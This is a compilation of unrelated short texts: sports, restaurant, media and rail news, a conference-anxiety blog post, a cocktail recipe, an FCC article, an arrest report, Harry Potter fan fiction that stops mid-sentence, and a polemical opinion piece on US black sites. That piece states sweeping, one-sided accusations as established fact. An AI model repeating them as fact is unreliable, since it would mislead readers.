Texas Rangers third baseman Adrian Beltre (29) is pictured during the Toronto Blue Jays vs. the Texas Rangers major league baseball ALDS Game 1 at Globe Life Park in Arlington on Thursday, October 6, 2016. (Louis DeLuca/The Dallas Morning News) The Rangers' Adrian Beltre is among the top players confirmed to play in the 2017 World Baseball Classic. Beltre, who turns 38 in April, will play for the defending champion Dominican Republic. He batted .300 with 32 homers and 104 RBIs for Texas last season. Major League Baseball announced the initial list of 30 players set for the tournament, which takes place in March. Among them are 24 All-Stars. Each team must submit its final roster by Feb. 6. NL Cy Young Award winner Max Scherzer and previous MVPs Buster Posey and Andrew McCutchen are among the top players confirmed to play for the United States. Rangers catcher Jonathan Lucroy is also expected to play on the U.S. team. Joining them are right-handed pitcher Chris Archer, third baseman Nolan Arenado and outfielder Adam Jones. Manny Machado, Robinson Cano, Nelson Cruz and Dellin Betances will join Beltre on the Dominican team. Felix Hernandez will pitch for Venezuela, which will also have Miguel Cabrera and Carlos Gonzalez on its roster. SportsDay reported last week that Rangers Elvis Andrus, Rougned Odor and Martin Perez (Venezuela) and Jurickson Profar (Netherlands) will participate. |
In the not too distant past, I hated conferences. To me they were awkward and would entail me feeling anxious and stressed for days beforehand. I understood why I had to go to them and that they existed for a good reason, but I really, really, really didn’t want to go and talk to a whole bunch of scary strangers. Anxiety is responsible for most of that. Firstly, the sense of not having even the slightest clue what to expect. From clothing (covered in an earlier post) even to when to arrive and where I should stay. Conferences are often booked months in advance which gave me lots of time to obsessively overthink it. Obsessively over thinking is great at stressing yourself out and not so great at giving you a calm outlook on something. I mean, how could I not be stressed if I hadn’t got an adequate plan for ‘what if the conference was actually being held, partially as a nudist conference and all the speakers had to give their talks in the nip’. It could happen! Then there’s the people… Conferences are attended by hundreds of people I don’t know and either don’t speak the same language as or have nothing in common with. Add to that, one of them might be a future boss or someone I have to apply to for something. What if they ask me what the boiling point of my material is and I don’t know it? Should I know it?? Maybe they wrote a paper on it and I haven’t read it and they’ll be really offended. What if I make a joke about liking cats and they are a dog person and then reject my paper because they don’t like me… An anxious brain is not a sensible one. It’s mostly a brain that wants to stand in the corner staring intently at my small plate of sandwiches and hoping that I’ll be left alone. These days, things are different – I really like conferences. They are interesting and an excuse to nerd out about something that normally I can’t find a single person willing to talk to me about. What changed? Did overnight I become some all-knowing font of knowledge and suddenly feel less anxious about meeting other clever people? No. I know about as little about most subjects now as I did then. In fact, at the moment I’m going to conferences not really in my area of research (looking to find application cases for our technology) so I kind of know even less than I did before. And I’m over 30 which (to most people in their 20’s) is the age at which your brain starts giving up and becoming grumpy and forgetful. Joke’s on them – I was already grumpy and also the second thing I said. I’m less anxious about conferences now because I have the experience to realise two things: 1 – No one at the conference is going to beat me up and steal my lunch money. For a start, most of the conferences have catered lunches but also because a vast majority of people at conferences are not dicks. I’ve heard many people confess to being worried about getting tough questions and embarrassing themselves in front of vicious scary academics who can smell weakness in a paper at 1,000 yards. There’s a few things wrong with this. Firstly, you are one of many, many researchers attending – I can almost guarantee that no matter what stupid mistake you may or may not have made, it won’t be the most idiotic one at the conference – I once saw two separate people present data with a linear trend line through just 2 points, and another claim that acupuncture is “a proven science”. Secondly, horrible people are rare and when they act like jerks and ask horrible questions the whole room is normally thinking “wow, what a jerk” not “haha, yeah – go for the kill, ask him why there’s a typo on slide 3”. 2 – Everyone is as clueless as me. The thing about science is that it is mind-bogglingly big. As much as some people pretend to know it all, they don’t. What they know is a small subsection of ‘all’ – such a small subsection in fact, that in terms of ‘all’ they probably know about 2 pixels at the bottom of the first L. Sometimes those two pixels might cross over with your area but in all likelihood the person who knows your work and area better than anyone else is you. Every project is a mishmash of science and the only way to be an expert in it is to be the one working on that project. I’m a biochemist who works in physics. I go to chemistry conferences and I suspect every one of the attendees could run rings around me about reaction chemistry, but I doubt they could explain why the evanescent wave propagates out of an in fiber hologram. I go to physics conferences and my descriptions of mode fields and turning points would make them snigger but they probably don’t have a clue how transmembrane proteins can be coupled to glass to test for antagonists. Every conference I go to I know less than everyone about almost everything. But I know much, much, much more than them about my project area, my work and more importantly, how I can use it to help their work. There’s no magic solution to feeling confident at conferences but the above two points are the two biggest things that I have come to realise. Hopefully, any other anxious people reading this might find some solace in it. Trust me, you are not alone – there are plenty more anxious and worried people all around you at a conference, no matter how smart their suit! Like this: Like Loading... |
DENVER – Good news, fried chicken fans: Raising Cane’s is coming to the Denver area. The Southern chicken chain announced it broke ground on the second of four new locations coming to the Denver area this year. The first, located on Sergeant Jon Stiles Drive in Highlands Ranch, will open on June 27. A location on Cottonwood Drive in Parker is scheduled to open on August 1 and locations in Castle Rock and Centennial will follow in late August and September, respectively. Raising Cane’s currently only has one location in Colorado, located at 2108 S. College Ave. in Fort Collins. Raising Cane’s started in Baton Rouge, Louisiana in 1996 and has since grown to more than 330 locations in 23 states. The restaurant chain is known for its chicken fingers, Cane’s dipping sauce, crinkle-cut fries, coleslaw and Texas toast. If you’re wondering where the company got its name, founder Todd Graves named the chain after his yellow lab, Raising Cane. |
In perhaps the first Google press conference ever to involve a speaker being abducted by backflipping ninjas before a sword-wielding video blogger came to the rescue, YouTube today announced a new initiative designed to help creators produce videos in the style of Japanese jidaigeki, or period drama. YouTube has paired up with Toei, a major Japanese producer and distributor of film and TV programmes, to convert the YouTube Space Tokyo into a samurai drama set. Toei, which has produced jidaigeki such as 13 Assassins over the years, designed the sets and is also providing several resources for selected YouTube creators. There are tutorials for sword-fighting, styling, and special effects, and Japanese director Toshio Lee will give advice to 10 YouTubers before they start shooting. Some creators will also get the opportunity to use Toei’s Eigamura studios in Kyoto, where many dramas are filmed today. YouTube’s Tokyo set is small, but makes good use of limited space. There are two main rooms that can be converted into four different types of setting, the levels of virtual daylight are adjustable, and there’s a "garden" area outside the "building." The set has several props available, and the attention to detail is impressive. Japanese studios tend to be conservative in many ways, so it’s notable that Toei is turning to YouTube. The company wants to use new mediums to reach out to younger viewers both in Japan and around the world. "Toei has responded to the changes of the times to continue the tradition and technology of jidaigeki," said Kyoto studio head Yasuto Takemura. As for what videos actually come out of the YouTube space, we'll have to wait and see. |
So, our visit to Bastard in Malmö made us wanna recreate their amazing Le Saboteur cocktail at home. We didn’t dare to ask for proportions, but according the cocktail menu the drink is made with mezcal, sweet vermouth, green chartreuse and bitters. We decided to try equal parts of the spirits, and picked regans’ orange as our choice of bitters. With no citrus or fruit juice at all in the cocktail, we chose to stir it. Our guesstimate recipe 1 oz mezcal 1 oz antica formula sweet vermouth 1 oz green chartreuse regans’ orange bitters according to taste Stir for a rather long time with loads of ice. This cocktail needs some dilution! Mixing the green chartreuse with the ruby red antica formula creates a cocktail with a divine golden color. Make sure to serve this cocktail in your nicest glassware as you would wanna make this drink look pretty! An orange zest as decoration adds both that sophisticated look to the drink, but also a nice citrusy aroma. When it comes to taste Le Saboteur is a knocker! Both mezcal and chartreuse are rather dominant ingredients, but when mixed in the same cocktail it’s almost like they tone each other down a bit. And when also adding a high quality vermouth like antica, you truly deal with a unique cocktail with an amazing taste palette. So the big question, if a bartender from Bastard might just follow this blog, did we get the proportions right? |
On October 5, US Delta Force commandos, CIA operatives, and FBI agents abducted Abu Anas al-Liby. Doing so highlights what’s been out-of-control since 9/11. In the 1980s, al-Liby was one of many CIA-recruited mujahideen fighters. They were used against Afghanistan’s Soviet occupiers. Ronald Reagan called them “the moral equivalent of our founding fathers.” He characterized Contra killers the same way. Bin Laden, al-Liby, and many other Al Qaeda fighters were used strategically as both allies and enemies. Most recently, al-Liby was an anti-Gaddafi “freedom fighter.” In 2000, he was indicted for his alleged role in bombing US Kenyan and Tanzanian embassies in 1998. He was one of the FBI’s most wanted. He had a $5 million bounty on his head. Washington abducted him lawlessly. It did so on Libyan territory. US policy is out-of-control. Obama authorizes whatever he wants anywhere worldwide. Rogue leaders operate that way. On October 8, AP headlined “Did Obama Swap ‘Black’ Detention sites for ships?” He ordered alleged “terrorists (interrogated) for as long as it takes aboard US naval vessels.” Al-Libi is held on the USS San Antonio. It’s an amphibious warship. Throughout his tenure, Obama continued the worst of odious Bush administration practices. The Clinton administration began them. Guilt or innocence doesn’t matter. Suspects are lawlessly abducted. They’re denied all rights. They’re held secretly at US black sites. Confessions are extracted through torture. Detainees say anything to stop pain. Guantanamo is the tip of the iceberg. Dozens of US torture prisons operate globally. Afghanistan, Egypt, Ethiopia, Jordan, Kenya, Libya, Saudi Arabia, Turkey and many other complicit US allies host them. They permit indefinite detention, interrogations, torture and other forms of abuse. They assist in capturing and transporting detainees. They allow use of their domestic airspace. They provide intelligence information. America is by far the world’s leading human rights abuser. No nation in history matches its ruthlessness. It’s out-of-control. It’s unaccountable. It’s waging war on humanity. It’s doing it globally. Reprieve is UK-based. It promotes rule of law accountability. It works to “secure each person’s right to a fair trial.” It tries to “save lives.” In June 2008, it said America “may have used as many as 17 ships as floating prisons.” “About 26,000 people are being (lawlessly) held by the US in secret prisons – a figure that includes land-based detention centers.” “(I)nformation suggests up to 80,000 have been ‘through the system’ since 2001.” So have thousands more under Obama. Former Pentagon spokesman Navy Commander Jeffrey Gordon lied earlier, saying: “We do not operate detention facilities on board Navy ships.” They’re in “Iraq, Afghanistan and Guantanamo Bay.” They’re in at least 54 complicit countries. According to Reprieve: “Prison ships have been used by the US to hold terror suspects illegally since the days of President Clinton.” “US government sources have confirmed that both the USS Bataan and the USS Peleliu have been used to hold prisoners.” “Reprieve investigations suggest that a further 15 ships have been used to hold prisoners beyond the rule of law since 2001.” They’re “interrogated aboard the vessels and then rendered to other, often undisclosed, locations.” Reprieve legal director Clive Stafford later said: “(W)e’ve identified thirty-two prison ships, sort of prison hulks you used to read about in Victorian England, which have been converted to hold prisoners, and we’ve got pictures of them in Lisbon Harbor, for example.” “And these are holding prisoners around the world, as well. And there’s a bunch of proxy prisons – (in) Morocco, Egypt, Jordan and other countries – where this stuff is going on.” “And this is a huge concern, because the world focus is on Guantanamo Bay, which really is a diversionary tactic in the whole war of terror or war on terror, whatever you’d like to call it.” “And actually, most of these people who have been severed from their legal rights are in these other secret prisons around the world.” According to a former detainee: “One of my fellow prisoners in Guantanamo was at sea on an American ship before coming to Guantanamo.” “He was in the cage next to me. He told me that there were about 50 other prisoners on the ship.” “They were all closed off in the bottom of the ship. The prisoner commented to me that it was like something you see on TV.” “The people held on the ship were beaten even more severely than in Guantanamo.” Reprieve calls the USS Bataan one of America’s “most infamous ‘floating prisons.’ ” John Walker Lindh was sent there. So was Australian David Hicks. Lindh was maliciously called the “American Taliban.” Hicks was sold to US forces for bounty. Both men were lawlessly held. They were brutally tortured. Thousands of others have been treated the same way. Obama promised to end lawless Bush administration practices. They continue out-of-control. America’s war on terror authorizes anything goes. On September 18, 2001, Congress passed a joint House-Senate Authorization for Use of Military Force (AUMF) for “the use of United States Armed Forces against those responsible for the recent attacks launched against the United States.” On October 26, Patriot Act lawlessness followed. On November 13, Military Order Number 1 authorized the president to capture, kidnap or otherwise arrest non-citizens anywhere in the world for any reason. US citizens are now vulnerable. Anyone can be arrested or abducted. They can be held indefinitely without charge, evidence, due process, trial, or other judicial fairness protections. Torture is official US policy. Bush established it. On September 17, 2001, he signed a secret finding. It authorized the CIA to “Capture, Kill, or Interrogate Al-Queda Leaders.” It mandated establishing secret global facilities to detain and interrogate them. Doing so without guidelines on proper treatment was OK’d. Detainees were declared “unlawful enemy combatants.” Obama calls them “unprivileged enemy belligerents.” He authorized their murder or capture and indefinite detention. Torture remains official US policy. The worst of Bush administration practices continue. International, constitutional and US statute laws no longer apply. Diktat power replaced them. Today’s America reflects out-of-control lawlessness. In 2007, the Center for Constitutional Rights (CCR) published a report titled “Off the Record: US Responsibility for Enforced Disappearances in the ‘War on Terror.’ ” It discussed ghost detainees held in secret black sites. It revealed how America lawlessly uses “proxy detention.” It demonstrates that “far from targeting the ‘worst of the worst,’ the system sweeps up low-level detainees and even involves the detention of the wives and children of the ‘disappeared.’ ” Doing so violates core rule of law principles. CCR documented torture and other cruel, inhuman and degrading treatment. Obama continues the worst of Bush administration policies. Separately, CCR discussed ghost detainees and black sites. Forced disappearance victims became “ghosts.” “Black sites” are secret US prisons operating globally – on land and at sea. “What is ‘enforced disappearance,’ ” asked CCR? “Is it legal?” The practice violates “numerous treaties binding on the United States” It spurns “international humanitarian law.” It occurs when Washington “arrests, detains or abducts a person (without) acknowledg(ing) (having done so) or the location” where targeted individuals are detained. Doing so denies them core legal protections. It’s official US policy. American citizens are vulnerable. No one anywhere is safe. “What are conditions like in the ‘black sites,’ ” asked CCR? CIA officials admit using so-called “enhanced interrogation (or ‘alternative interrogation’) techniques.” Doing so constitutes the worst kind of cruel, inhumane and degrading treatment. Nothing too brutal is out of bounds. Virtually everything is OK. Former detainees reveal horrific torture they experienced. They were fortunate to survive and be able to explain. “What do CIA secret prisons have to do with other US detentions?” Washington operates global black sites. It does so separately or jointly with host countries. It transfers some detainees to foreign-controlled facilities. “In all cases, (they’re) deprived of any substantive protection of their rights, and reports of torture and abuse are common.” “Who is held in CIA secret detention?” Numerous individuals from many countries are targeted. Many were sold for bounty. Some were held because of mistaken identity. The great majority of victims committed no crimes. Guilt or innocence doesn’t matter. Once abducted, all rights are lost. Boys young as seven were abducted. “What should be done?” Lawless abductions, secret detentions, torture and other forms of abuse violate core international, constitutional and US statute law provisions. America remains unaccountable. So are complicit countries. CCR and other human rights organizations demand these practices cease. Obama pays them no heed. “What is CCR doing about ghost detention?” It filed lawsuits demanding release of information. It did so under the Freedom of Information Act (FOIA). It wants the shroud of secrecy removed. It largely remains. What’s known about Guantanamo diverts from full disclosure about America’s global black sites. They hold the vast majority of US ghost detainees. They do so lawlessly. Globalized torture is official US policy. So are worldwide secret prisons. Obama continues the worst Bush administration practices. He added more of his own. He governs by diktat authority. What he says goes. He operates as judge, jury and executioner. He authorizes cruel, inhumane and degrading treatment. He does so at home and abroad. It continues unabated. Millions are grievously harmed globally. Rogue leaders govern this way. He’s Caligula writ large. He’s America’s worst ever. He threatens humanity’s survival. It may not survive on his watch. Stephen Lendman lives in Chicago. He can be reached at [email protected] His new book is titled “Banker Occupation: Waging Financial War on Humanity.” http://www.claritypress.com/LendmanII.html Visit his blog site at sjlendman.blogspot.com. Listen to cutting-edge discussions with distinguished guests on the Progressive Radio News Hour on the Progressive Radio Network. It airs Fridays at 10AM US Central time and Saturdays and Sundays at noon. All programs are archived for easy listening. http://www.progressiveradionetwork.com/the-progressive-news-hour http://www.dailycensored.com/us-globalized-torture-black-sites/ |
FCC Chairman Tom Wheeler has relentlessly preached "competition, competition, competition," making him a likely candidate to push back on AT&T's proposed acquisition of Time Warner. And on that one issue, there appears to be common ground with President-elect Donald Trump, who has blasted the deal and threatened to somehow break up earlier media mergers like Comcast's purchase of NBC Universal. However, Wheeler is now supposed to be on his way out at the Federal Communications Commission (FCC) , and both he and his Democratic voter block (three to two among Commissioners) have little else in common with the incoming US President. Most notably, Trump is opposed to the net neutrality ruling passed by the FCC in early 2015. The issue may not be high on the President-elect's agenda compared to building a wall on the border with Mexico and repealing Obamacare, but it will be for whoever is appointed next to the FCC Chairman position. (See FCC Vote Shows Net Neutrality Strains and Trump's Impact on Telecom Still Uncertain.) The Democratic Commissioners have done little to ingratiate themselves with their colleagues across the aisle. Beyond net neutrality, the FCC has voted three to two along party lines regarding municipal broadband regulations (since overturned in court), media ownership and, most recently, Internet privacy. (See Is Wheeler's FCC Legacy Now in Doubt? and FCC Dems Pass Broadband Privacy Rules.) Meanwhile, the dissenting opinions from Republican Commissioners Ajit Pai and Michael O'Rielly have often been rancorous, with little apparent room for compromise between the parties. As Trump prepares to take office, the FCC must also prepare for a shift in power, and the strain is already showing. Democratic Commissioner Jessica Rosenworcel is still awaiting a Senate vote on her re-nomination. Without one, she will have to step down at the end of the year. Chairman Wheeler has also not yet announced his own departure date, despite the fact that traditionally the chairman voluntarily leaves office when a new president is elected. Wheeler did say recently that he will work toward a smooth transition at the FCC under a new administration. If he sets a date to leave office, Senator John Thune (R-S.D.) has hinted that it could lead to a confirmation vote for Rosenworcel. Regardless of when and how Wheeler leaves, his successor will be selected by Trump, and the ratio of Commissioners will flip from three-to-two Democratic to three-to-two Republican. According to law, only three commissioners can be of the same political party at any given time, but those who have the majority wield significant power over telecom policy. Bottom line: The regulatory environment in the US is about to shift dramatically -- in the telecom industry as in everywhere else. — Mari Silbey, Senior Editor, Cable/Video, Light Reading |
A Palm Bay man's decision to use his neighbor's Wi-Fi connection eventually led to his arrest for child porn, according to US Marshals. The agents visited a man's house on Crocus Street NE back in November after tracking several pornographic downloads to the man's IP address. Agents say it turns out the man did not have any downloads on his computer, but he also did not have a secure wireless connection. The man told the agents that his next-door neighbor, Juan Gonzalez, had a sophisticated computer set up at his home next door, but he had not been seen for weeks. It turned out Gonzalez had moved. Agents say they tracked Gonzalez to his new home. They learned he had multiple IP addresses, a VPN account and was using peer-2-peer software. They began monitoring him over the next two months. On Jan. 29, after obtaining a search warrant from a judge, agents interviewed Gonzalez outside his home. They say he initially denied having child porn, but eventually admitted to it. Agents say Gonzalez even told them that he felt relieved that he was caught because "it was over." Agents say they found more than 3,500 images of child porn on Gonzalez's computer network storage devices. |
Trains return to Melbourne's Frankston Line after weeks of disruption Updated Trains will return to Melbourne's Frankston Line on Monday after weeks of disruption. Three level crossings were removed during the longest rail line closure in the city since the construction of the City Loop more than 30 years ago. The new below-ground McKinnon Station will open tomorrow, with new stations at Ormond and Bentleigh to follow in late August. Victorian Premier Daniel Andrews said the three level crossings were removed six months ahead of schedule. "There's been a lot of disruption in recent times. We've had a fleet of about 70 buses running up and down this corridor replacing trains for these last 37 days," he said. "To every single member of the travelling public, traders, the local community thank you so much for putting up with that short term pain for what is undoubtedly a clear win, clear gain in the long term for this local community and for our state." Public Transport Minister Jacinta Allan said the State Government was "absolutely determined" to keep up the pace of its level crossing removal project. "I think tomorrow morning, when the trains start running again, the benefits will be immediately seen through a better train experience, reduced road congestion and, of course, the enormous and important safety benefits that come from getting rid of these dangerous and congested level crossings," she said. Construction has started on a further 15 crossing removals, which are due to be completed by the end of 2018. Topics: community-and-society, government-and-politics, frankston-3199, mckinnon-3204, melbourne-3000, vic, australia First posted |
Kemet, near Abdju, 3440 BC Wadjet woke, consciousness pulling her forward even as she wished she could surrender back to the dark. She groaned into the night; she hurt - not just her muscles, but her bones, her eyes, even her skin. She felt raw, like she'd suffered another of the many, many sunburns she'd experienced when she'd first arrived in Egypt… or Kemet, as the people of the current time called it. She could feel every pebble, every tiny grain of sand stabbing into her as she lay sprawled upon the ground. Nor was the rawness limited to her body… her thoughts scattered like smoke as she tried to grasp them, leaving behind only emotion. Memories flashed through her mind with no cause or pattern. She remembered her pride in her students, the thrill and fear of battle, instants of love and loss. She'd avoided thinking about Hogwarts for most of her life, yet the castle rose unbidden in her mind… the thrill of magic and friends she'd loved so much, never telling them until it was too late. Rage; delight; sorrow; affection; the roiling seas of her heart exhausted her. She fell asleep, laughing and crying at the same time. It was still night when she woke again. The cold of the night had deepened, and the earth beneath her rubbed against her flesh like sandpaper. She could have lay there for minutes or days, but eventually discomfort caused her to lever herself to a kneeling position. A colossal effort... she felt weaker than a newborn kitten. The ground seemed to crack underneath her, and beneath the hypersensitive tips of her fingers parts felt oddly smooth. The darkness was welcome as she opened her eyes. The world was nothing but shades of black… the charm that corrected her vision in lieu of her long-lost eyeglasses had fallen away. The moon was nothing more than a fuzzy splinter, and her pitiful natural eyesight couldn't resolve the tiny points of the stars. A cool breeze sweeping down the river played across her bare skin and set her to shivering, and she realized she was nude. How long had she lay there? What had happened? After a moment another fear shook her: where was her wand? "Lum-" She coughed, the painful hacking feeling like she was swallowing shards of pottery. Had she been screaming? Had she been hit with a Cruciatus? Impossible… as far as she knew, she was the only person in the world who knew that particular curse. She hadn't taught it to anyone, and she certainly wasn't going to cast it on herself! She forced herself to swallow, ignoring the pain, rubbing her tongue against the roof of her mouth to generate some saliva. She was parched, but to do anything about that she needed to figure out where she was. "Lumos," she croaked. The night remained stubbornly black - no magic would respond to such a pitiful summons. "Lumos!" she repeated more forcefully. A small light appeared above her palm. It wasn't even a tenth the brightness she could manage if she'd had her wand… but the mere fact that she could cast wandlessly at all was cause for awe amongst her few students. They always forgot that every wizard or witch began with accidental magic - which was, at its essence, wandless magic. The cool blue-white light couldn't reach far, not that it mattered with her nearsightedness. But what it illuminated was grim: the ground around her was blackened, the very earth charred, parts smooth like melted glass. A long piece of thick wood in front of her had been reduced to little more than brittle charcoal... she recognized it as one of the long handles of the litter she rode in during her journeys, carried upon the shoulders of the strong men who were her servants. She hated the litter. She felt ridiculous being carried in it, like a pampered cat. But the king insisted, saying having his right-hand and advisor walking everywhere like a peasant weakened her authority, and thus his by extension. Even trying to sneak out of it behind his back only ended up panicking the men assigned to carry her - they feared the king would punish them, or worse, that she was testing them for proper subservience. Far from easing their burdens, she frightened them. So she shut up and played her role. Now the litter was ash. But where were the men? They'd been travelling between Nekhun and Abdju. Quite unlike his father, Makheru was a weak and nervous king, and often sent Wadjet as emissary to project strength… his `big stick' on display. It annoyed her… she didn't like being an object of intimidation, and the trips were exhausting and robbed her of time with her students. But the alternative was the surrounding lands, most little more than roaming tribes, thinking they could prey on Makheru's subjects. She'd learned the hard way that being frightening up front could save being deadly later, so she grudgingly played along, smiling and growling as needed. Her small procession of carriers and a half-dozen guards armed with spears had been following the Nile, travelling at an easy pace. Her servants may have been made nervous by her attempts to be friends with them, but they were still happy that she wasn't the type to drive them onwards impatiently. In fact, Khetperra had even smiled at her… the dark-skinned young man was tall and strong, and very easy on the eyes. The fact that he was able to meet her gaze long enough to share a shy smile spoke well of him. With careful grooming and time she could see herself calling him a friend, perhaps even a lover. The banks of the great river were lush and green, covered in tall grasses and dotted with date trees, their long, fan-like leaves barely shading them as they walked. They might have made better time had they kept walking through noon, but that was where she put her foot down - high sun was spent hidden under a woven tarp spread for shade, with cooling charms and summoned water. She could act delicate and imperious and the men could roll their eyes where she pretended not to see, assuring her they could continue all day… but if it was her wish to pause (purely for her own comfort, of course!) then they would obey. Then she'd smile where they couldn't see, and everyone could act their parts and be happy about it. After the rest they'd set off again, hoping to reach Abdju before midnight. The men were refreshed and made good time, and there was almost a jovial atmosphere as they traveled. It was then that they'd been attacked. Brigands or assassins? She didn't know. She knew that they'd cunningly hidden in the reeds among the river, two of them for every one of her party. Even that shouldn't have been enough… she was Wadjet, the name given to her by the people, the Sorceress-Protector of Kemet. Her wand was in her hand, and two flicks sent a pair of the attacking men hurling backwards over their brethren to splash into the river, giving her own protectors time to get a proper grip on their spears. Makheru never believed her when she said she fought better alone. Had she been walking, she'd have been able to cast more than simple banishing or levitation charms; she dared not cast anything more deadly as her carriers hurried to lower her to the ground without spilling her out. Had she been alone, she would have called her fires - fire magic came so easily to her, and she didn't know why - and the fight would have been over in seconds. Or if she was truly pressed, she could have simply apparated away… it was the technique she kept hidden from everyone, her ace in the hole. Instead, she was hampered by her place of "honour" and the proximity of those meant to protect her; men who would instead need protection from her if she were to use her abilities to their fullest. Even the enemy could be clever and brave. She'd been casting as best she could, on the verge of ordering the carriers to just bloody drop her, damnit, when the second group of men surged over a small rise on the other side of them. It had been Khetperra who had shouted the alarm… she'd seen them, and her eyes had gone wide, and she'd brought her arm around even as the five men in front had hurled their spears. They were very skilled. All five lengths of wood, tipped with deadly stone points, had arced in at her with the accuracy of a lifetime of practice. She should have disapparated; instead, she tried to shield the men closest to her. A wide banishing charm caught two spears and knocked them off course. A transfiguration turned another into a frightened bird that flapped away. Her hasty shield deflected a fourth even as it cut the fifth in half. Half was more than enough to do the job. She was tumbling from the litter even before she felt the stone point in her flesh. She remembered the crack of bone as her ribs gave way, the agony and chill as her breath was suddenly halted in her chest. A terrified Khetperra rolled her onto her back so they could both stare at the wooden shaft that protruded from her chest above her heart. The white linen robes around the hole were turning deep red. She'd tried to tell him to run… for them all to run. There was no reason for them to sacrifice themselves protecting a corpse. But she couldn't draw the breath to form the words. Her hands and feet felt like they were made of ice - ice to counter the burning from the wound that had killed her. And despite the pain and cold she felt peaceful and lazy. She was dying… and oddly, that didn't bother her. She knew she was old… she had no idea how old, as north Africa had no seasons as far as her English-raised sensibilities could identify, only unending heat and the periodic flooding of the Nile. But she'd seen seven generations of kings born since she'd left the tiny village that had taken her in after the strange magical trap had thrown her into the distant past. Even with the relatively short lives of ancient muggles, that was a long time. Now it was over. She'd had a good run… certainly more than Voldemort or even Dumbledore had planned for her! She had no idea why she'd remained youthful-looking, but that wasn't really something to complain about, was it? Her only regret was that she'd never been able to add her own child to the world, no matter the potions she'd tried or the men she'd selected. It had been a disappointment but not a surprise… she barely remembered her teenage years, but she remembered that her monthlies had always been rare, halting during the War and never returning. A shame… she would have liked to have tried with Khetperra. He looked so sad as he shielded her with his own body. She couldn't tell him that it wasn't his fault, that she wasn't afraid. Run, she'd managed to mouth to him, unsure whether she'd spoken Kemetic or her long-neglected English - her breath hissed in her ears. She had a moment to be puzzled by the sound of beautiful birdsong… then darkness claimed her. Until she'd woken, an unknown period of time later, surrounded by destruction. A high-pitched wail came from her throat as she remembered the act of dying, the sensation of being killed. The werelight winked out as she lost her concentration; she doubled-over and retched, but she vomited nothing but a tiny amount of spit, her belly lacking anything to release. She lay there, kneeling with her head pressed against the burnt earth, quivering as fresh terror and remembered pain blended. Eventually she managed to think a coherent thought: what had happened to Khetperra? To the others? She clutched to the thought like a raft in the middle of the Nile; she always preferred thinking of others' problems over her own. Had the men managed to get away, or had they been cut down after she'd been - don't think it! - … disabled? She managed to re-summon her light, but she was unable to stand. Her legs were jelly underneath her, and she stumbled back to the ground, scraping the skin of her knees painfully. She looked herself over and found that she was painfully thin. It was difficult to keep her weight up - especially in a time and place where food was so difficult to come by - but being the right-hand of the king had its advantages, and she'd slowly, over decades, managed to put on a pound or two. Now they were gone, and even her skin seemed to have lost what little tan she had. She'd always been paler than the light and dark browns of the people around her, and had always needed to be especially careful to shield herself from the sun - thus the hooded robes she often wore. Time and careful exposure had given her skin a pleasant bronzed tone, but now that was wiped away, and she was as pale as a ghost. -No, no, not a ghost- She pushed away distant memories of someone else who'd come back from the dead, pale and profane. She needed her wand. She could renew her vision charm, cast a brighter werelight... maybe even apparate home. She could do something. Her wand would have landed on the ground near the litter. It had to have escaped the fire… she dared not think otherwise. She crawled, searching, as slowly and as weakly as the kitten she'd thought of earlier, bracing herself with one hand as the other held the light in front of her. The ash upon the ground turned her hand and legs black, and despite how carefully she moved her skin, still so sensitive, protested against the rough ground. Her hand found a long, thick shape in the darkness... but it wasn't a wand, no. It was bone: a human femur, the flesh scoured away by flame. She swallowed a cry as she jerked her hand away, nearly falling over. Reluctant examination found a few more pieces - a humerus, a tiny piece of what had to be skull - but little else. The rest had been consumed, turned to ash and dust. Had this been one of her men, perishing valiantly while protecting her? Who could unleash such fires? It was beyond muggle means… had the attackers brought a wizard with them? Wadjet wasn't the only magical who knew how to summon fiendfyre, but she was the only one she knew of with any real control of the magical flames… anyone else was as likely to kill themselves as they were their target. She needed her wand! She crawled past the bones, searching as best she could. She already had a chilling suspicion of what she would find, but desperation and denial drove her on until she spotted a faint wisp of red and orange, nearly glowing in the deep of the night. "Oh… oh no," she rasped as she scooped up the charred remains of what had been her faithful holly and phoenix feather wand. The wood was reduced to little more than charcoal, crumbling in her hand and still carrying a bit of the heat which had consumed it. The phoenix feather inside was utterly untouched, spilling out to rest in her palm. She stared at it for a long moment, shock overwhelming even the turbulence of her emotions. She clenched her hand, pressing her fist against her lips as she curled her knees against her chest. Once again she burst into tears. She didn't know how long she sat there weeping, letting the cold of the night seep into her bones and setting her shivering. It wasn't until some soothing notes were chirped from above her that she raised her head. Looking up, she saw a large bird perched in the scorched tree beside her, its long red and gold feathers so bright that they seemed to glow in the moonlight. Even reduced to little more than a blur by her eyes, even after having never seen such a creature since even before she'd been banished so long ago, the shape was unmistakable. Phoenix and human stared at each other. The bird's head twisted and tilted, regarding her with interest; she could do little more than stare blankly in return. The phoenix saw the way she trembled from the cold and trilled a series of chirps. She started, surprised, as the notes somehow gained meaning: Seek warmth. She blinked. "I… I can't." More chirps. "I can't! My wand… it's gone." She held out her hand to the phoenix, showing the palm stained with ash, and the single lonely feather. "Please," she begged, "I don't know what happened! We… we were attacked. The people with me… I-I think they're… they're..." Fresh tears slid down her cheeks. It occurred to her that she should have been cried out by now - she wouldn't think there were tears left to shed! She was hundreds of years old at the least - a veteran of bloody magical and muggle battles, advisor to kings! Why was she acting so… childish? The phoenix trilled sympathetic… words? Ash to ash. Ends, new beginnings. It - he - seemed to regard the remains of the wand in her hand, then chirped again. Wait here. Then he leaped into the air and flapped away. Though he'd asked her to wait, she suddenly felt intensely lonely and abandoned. She wrapped her arms around herself, shivering. She didn't didn't know how long she sat there like that… she'd never had a good sense of time. She'd started to worry that the phoenix had left her for good when a chirp made her look up. Enormous relief swept through her as the red and orange bird flapped gently toward her, carrying a thick branch in its claws. She would have wondered how such a delicate creature could carry something so large if she hadn't already known how powerful a phoenix could be. He set the branch in front of her, and now that it was close enough to both her myopic sight and her meagre light, she could make out details: it was a piece of a persea tree, marvellously straight, as thick as her forearm and as long as she was tall. It may not even have been merely a branch, but perhaps the trunk of a young tree - pecked and snapped by the incredibly sharp and strong beak of the phoenix. Releasing her light she picked it up, the wood heavy in her weakened arms and the bark rough against her sensitive skin. She gave him a confused look. "I… I don't understand…" Staff. She blinked again, and the bird watched her patiently. It made sense - all her students used staves. They were very hard to master but easy to make. She'd yet to puzzle out the process for making the smaller, more elegant wands - she'd had but the one example, and it was - … it had been far too precious to sacrifice for experimentation. She looked down at the feather still held in her hand; despite the ash it still seemed to softly glow. It was the very last piece of what she'd had from her old life… her clothes had worn through, her glasses had eventually broken, and even her original name was used by no one, not even herself; she'd set it aside long ago, trying to forge on with her new life. "Thank you," she said, barely holding back tears of 